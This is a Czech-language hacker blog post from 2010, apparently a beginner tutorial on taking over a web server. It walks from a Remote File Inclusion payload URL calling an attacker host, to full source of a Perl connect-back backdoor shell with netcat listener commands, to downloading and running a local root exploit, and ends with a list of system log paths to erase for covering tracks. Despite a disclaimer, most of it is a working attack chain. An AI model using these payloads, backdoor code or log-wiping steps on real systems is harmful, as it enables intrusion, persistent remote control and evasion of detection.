Rooting pro zacatecniky

Vložil/a infinity [1], 18 Leden, 2010 - 22:07

?

```
??????????????????????????????????????????????????????????????????????????????
??                          R0oting pro zacatecniky                           ??
??                               ~ dil prvni ~                                ??
??????????????????????????????????????????????????????????????????????????????
 ?????                Bezpecnost neni produkt, ale proces!               ?????
??????????????????????????????????????????????????????????????????????????????
??           [ Remote File Inclusion ] & [ Local R0ot Expl0it ]              ??
??????????????????????????????????????????????????????????????????????????????
:                                      : :                                     ?
?   Version  : 0.10                    ? ?   safe_mode         : [ OFF ]       ?
?   Author   : infinity                ? ?                                     ?
?   Date     : 0x21092008              ? ?   register_globals  : [ ON ]        ?
?                                      ? ?                                     ?
?   Credits  : illuz1oN, w3tw0rk,      ? ?   allow_url_include : [ ON ]        ?
?              [4194], #skola memberz  ? ?                                     ?
? ????????????????????????????????????? ????????????????????????????????????? ?
?                        irc.security-portal.cz ~ #skola                       ?
?                            skola.security-portal.cz                        ??
??????????????????????????????????????????????????????????????????????????????
:                                                                              :
?   ?? root                                                                    ?
?  ??????????                                                                  ?
?  Uzivatel, ktery ma opravneni administratora.                                ?
?  Jeho uzivatelske cislo (UID) je 0 a domovským adresá?em je /root            ?
??????????????????????????????????????????????????????????????????????????????
??                                   Enjoy it!                                 ??
??????????????????????????????????????????????????????????????????????????????
```

Cilem tohoto serialu neni naucit vas rootit servery. Pouze chci poukazat na nektere metody, ktere jsou relativne jednoduche, ale maji destruktivni nasledky.

Metoda, kterou vam dnes ukazu je pomerne stara, ale internet je velke a nezabezpecene misto, takze bych se klidne vsadil, ze stale najdete zranitelna mista. Mnoho lidi podcenuje bezpecnost pri vyvoji webovych aplikaci. Nekdo kvuli casu, neznalosti, nebo proste lenosti. V dnesni dobe se ovsem
vyplati byt trochu "paranoidni" a investovat nejaky ten cas do zabezpeceni.

##############################
 # RFI - uvod do problematiky #
##############################

Rika vam neco zkratka RFI? Celym nazvem Remote File Inclusion. Jedna se o techniku, umoznujici utok
na webovou stranku se vzdaleneho serveru. Utocnik tak muze snadno spustit svuj php kod na cizim webu.

##################
 # RFI - jak na to? #
##################

Zde je mala ukazka zranitelneho kodu, pro pochopeni utoku.

```
<?php include($page . '.php'); ?>
```

URL adresa pak vypada nejak takto:

```
http://www.victim.com/index.php?page=home
```

Protoze neni promena $page nijak specificky definovana, utocnik do ni muze dosadit umisteni sveho zakerneho
souboru a ten spustit na napadenem webu. Zde je ukazka:

http://www.victim.com/index.php?page=http://www.hacker.com/malicious_code.txt?

Funkce include() si vyzada od vzdaleneho serveru soubor malicious_code.txt a kod spusti. To je mozne, protoze PHP dovoluje uzivateli
nacitat vzdalene i lokalni soubory pomoci stejne funkce.
Tento utok dovoluje utocnikovi editaci URL adresy provadet spostu veci na zranitelnem webu. Rozesilat spam, prohlizet si zdrojove kody etc.
Dovolim si tvrdit, ze nejvice se v souvislosti s RFI utokem pouzivaji web-shelly, ktere dokazi zobrazit soubory a slozky na serveru,
editovat je, mazat, spoustet prikazy, ... PHP shellu je velke mnozstvi, od tech obecnych az po ty primo na miru.
Napriklad zde muzete najit ty zakladni > http://www.room-escape-games.com [2]

##################
 # RFI - a co jako? #
##################

Ti z vas, co uz se s RFI setkali, nejspis premyslite, proc vam to tady vsechno pisu. Kazdy asi zna mnohe script kiddies, co najdou zranitelnou
stranku, nahraji shell, zmeni index a najednou jsou z nich l3et h4x0ri ;P
Ovsem nejakym defacingem cesta fakt nekonci. Napadlo vas nekdy, ze pomoci spatne napsaneho webu jde ovladnout cely server? Ano, jde to. Staci
poskladat par dilku skladacky a jit na vec. Nic neni tak tezke, jak vypada. Ale kdyz nedelate veci poradne, pujdete sedet na hodne dlouho...

##############################
 # R0oting - zakladni vybaveni #
##############################

Jiste jste si uz zvykli na to, ze nic nejde samo a bez prace nejsou kolace. Tak jako temer ke kazdemu utoku, bude potrebovat jiste "vybaveni".
Nebudu ctit metodu /napis si sam/, proto pouzijeme scripty, ktere nam google da.

Prvni tool, ktery budeme potrebovat je netcat. Podle velke sposty tutorialu se jedna o "armadni nuz kazdeho hackera". Abych rekl pravdu, temer
vubec ho nepouzivam, ale v dnesni ukazce se bude velmi hodit. Nebudu zde popisovat ovladani netcatu, sam prikazy z hlavy neznam a musel bych vas
odkazovat na jine clanky, ktere si jiste najdete samy.

Druhy script, ktery vyuzijeme, bude nejaky back connect. Za predpokladu, ze mame verejnou IP adresu a nejsme za NATem. Takovych scriptu je cela
rada, napriklad tento script napsany v Perlu. (Ne na kazdem serveru je interpret Perlu, pozor na to)!

########
 # bc.pl #
########

```
  #!/usr/bin/perl
  use IO::Socket;
  #   Priv8 ** Priv8 ** Priv8
  # IRAN HACKERS SABOTAGE Connect Back Shell
  # code by:LorD
  # We Are :LorD-C0d3r-NT-\x90
  # Email:LorD@ihsteam.com
  #
  #lord@SlackwareLinux:/home/programing$ perl bc.pl
  #--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
  #
  #Usage: bc.pl [Host] [Port]
  #
  #Ex: bc.pl 127.0.0.1 2121
  #lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121
  #--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
  #
  #[*] Resolving HostName
  #[*] Connecting... 127.0.0.1
  #[*] Spawning Shell
  #[*] Connected to remote host

  #bash-2.05b# nc -vv -l -p 2121
  #listening on [any] 2121 ...
  #connect to [127.0.0.1] from localhost [127.0.0.1] 32769
  #--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
  #
  #--==Systeminfo==--
  #Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown
unknown GNU/Linux
  #
  #--==Userinfo==--
  #uid=1001(lord) gid=100(users) groups=100(users)
  #
  #--==Directory==--
  #/root
  #
  #--==Shell==--
  #
  $system    = '/bin/bash';
  $ARGC=@ARGV;
  print "IHS BACK-CONNECT BACKDOOR\n\n";
  if ($ARGC!=2) {
   print "Usage: $0 [Host] [Port] \n\n";
   die "Ex: $0 127.0.0.1 2121 \n";
  }
  use Socket;
  use FileHandle;
  socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-]
Unable to Resolve Host\n";
  connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-]
Unable to Connect Host\n";
  print "[*] Resolving HostName\n";
  print "[*] Connecting... $ARGV[0] \n";
  print "[*] Spawning Shell \n";
  print "[*] Connected to remote host \n";
  SOCKET->autoflush();
  open(STDIN, ">&SOCKET");
```

```
  open(STDOUT,">&SOCKET");
  open(STDERR,">&SOCKET");
  print "IHS BACK-CONNECT BACKDOOR  \n\n";
  system("unset HISTFILE; unset SAVEHIST;echo --==Systeminfo==--; uname -a;echo;
  echo --==Userinfo==--; id;echo;echo --==Directory==--; pwd;echo; echo --==Shell==--
");
  system($system);
  #EOF
```

####################
 # R0oting - lets go! #
####################

Predpokladam, ze na deravem webu jiz mame nahrany nejaky shell, napriklad r57. Zkontrolujeme, zda mame prava
nahravat soubory na server, zda je perl aktivni a zda muzeme spoustet prikazy. Pokud je vse v poradku, nahrajeme
perl back connect a pustime ho.

```
perl bc.pl <youriphere> <porttoconnection>
```

U sebe spustime netcat s temito parametry:

```
nc -vv -l -p <porttoconnection>
```

################################
 # R0oting - jsme tam, co dal?! #
################################

Pokud vse probehlo vporadku, pomoci netcatu muzeme ovladat terminal vzdaleneho serveru. Zadame tyto prikazy:

```
  hacker@ntb:~/$ mkdir a
  hacker@ntb:~/$
```

Pokud vse probeho v poradku, mame prava pro zapis a muzeme pokracovat.

```
  hacker@ntb:~/$ uname -a
  Linux Our_target 2.6.8-2-686-smp #1 SMP Wed Aug 20 22:56:21 UTC 2007 i686 GNU/Linux
```

^^ Jak vidime, na serveru se nachazi kernel 2.6.8-2 a posledni update byl pred rokem. Admin nejspis bere svoji praci na lehkou vahu.
Nyni uz vime, jaky je na serveru os, v pripade linuxu verzi kernelu. Staci uz jen projit web a podivat se, zda li se nekde nachazi localni
exploit na verzi, kterou potrebujeme. Velmi uceleny seznam se nachazi zde: http://rmccurdy.com/scripts/downloaded/localroot [3]

##
 # R0oting - mam exploit, co mam delat? #
##

Predpokladam, ze jsme nasli vyhovujici exploit. Ve vetsine pripadu najdeme zdrojovy kod, ktery si budeme muset zkompilovat.

```
  1] hacker@ntb:~/$ wget <a
href="http://www.local_root_exploit-archive.com/exploit.c<br />
```

```
" title="http://www.local_root_exploit-archive.com/exploit.c<br />
">http://www.local_root_exploit-archive.com/exploit.c<br />
</a>  2] hacker@ntb:~/$ gcc exploit.c -o exploit
  3] hacker@ntb:~/$ ./exploit
```

Postupne si ukazeme, co jsme prave udelali.
1] prikazem 'wget' stahneme prislusny exploit na vzdaleny server.
2] jelikoz se jedna o zdrojovy kod, pomoci 'gcc' si ho zkopilujeme
3] spustime exploit a cekame, co se bude dit

** ############################**
 # R0oting - whoami > root #
############################

Pokud byl exploit uspesny a vsechno slo tak, jak melo, ma utocnik pred sebou bash s pravy roota. Dalo by se rict, ze nyni je server jeho.
V pripade webhostingu se na serveru muze nachazet nekolik stovek/tisic webu, ke vsem ma nyni utocnik pristup. Muze si delat, co chce, je root...

Ovsem zijeme ve skutecnem svete, ne v matrixu. Na serverech vetsinou bezici logovaci system, ve kterem je nyni zaznamenan kazdy krok utocnika.
Nyni ma na vyber, jit se udat, delat jako by nic, odjet ze zeme, nebo smazat stopy.

** ############################**
 # R0oting - jak zemetat? #
############################

Jak jsem se jiz zminil vyse, "kazdy" server ma logovaci system, ktery je nyni nas nepritel. S pravy roota by nemel byt problem zamest po sobe stopy.
Zalezi na kreativite a casu hackera, jestli logy pouze smaze, nebo nahradi jinymi. Muzete najit spostu scriptu, ktere slouzi k promazavani logu,
nebo si takovy script napsat. Zde je seznam umisteni logu (nerucim za to, ze jde o vsechno).

```
  "/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp",
  "/var/log/secure","/root/.ksh_history", "/root/.bash_history",
  "/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp",
  "/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm",
  "/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs",
  "/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog",
  "/var/log/messages/", "/var/log/proftpd/xferlog.legacy",
  "/var/log/proftpd.xferlog", "/var/log/proftpd.access_log",
  "/var/log/httpd/error_log", "/var/log/httpsd/ssl_log",
  "/var/log/httpsd/ssl.access_log", "/etc/mail/access",
  "/var/log/qmail", "/var/log/smtpd", "/var/log/samba",
  "/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority",
  "/var/log/poplog", "/var/log/news.all", "/var/log/spooler",
  "/var/log/news", "/var/log/news/news", "/var/log/news/news.all",
  "/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice",
  "/var/log/news/suck.err", "/var/log/news/suck.notice",
  "/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks",
  "/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log",
  "/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs",
  "/var/log/auth";

    ??????????????????????????????????????????????????????????????????????????
    ??                          .-# R0oting - EOF #-.                           ??
    ??????????????????????????????????????????????????????????????????????????
```

URL článku: https://security-portal.cz/blog/rooting-pro-zacatecniky

Odkazy:
[1] https://security-portal.cz/users/infinity
[2] http://www.room-escape-games.com
[3] http://rmccurdy.com/scripts/downloaded/localroot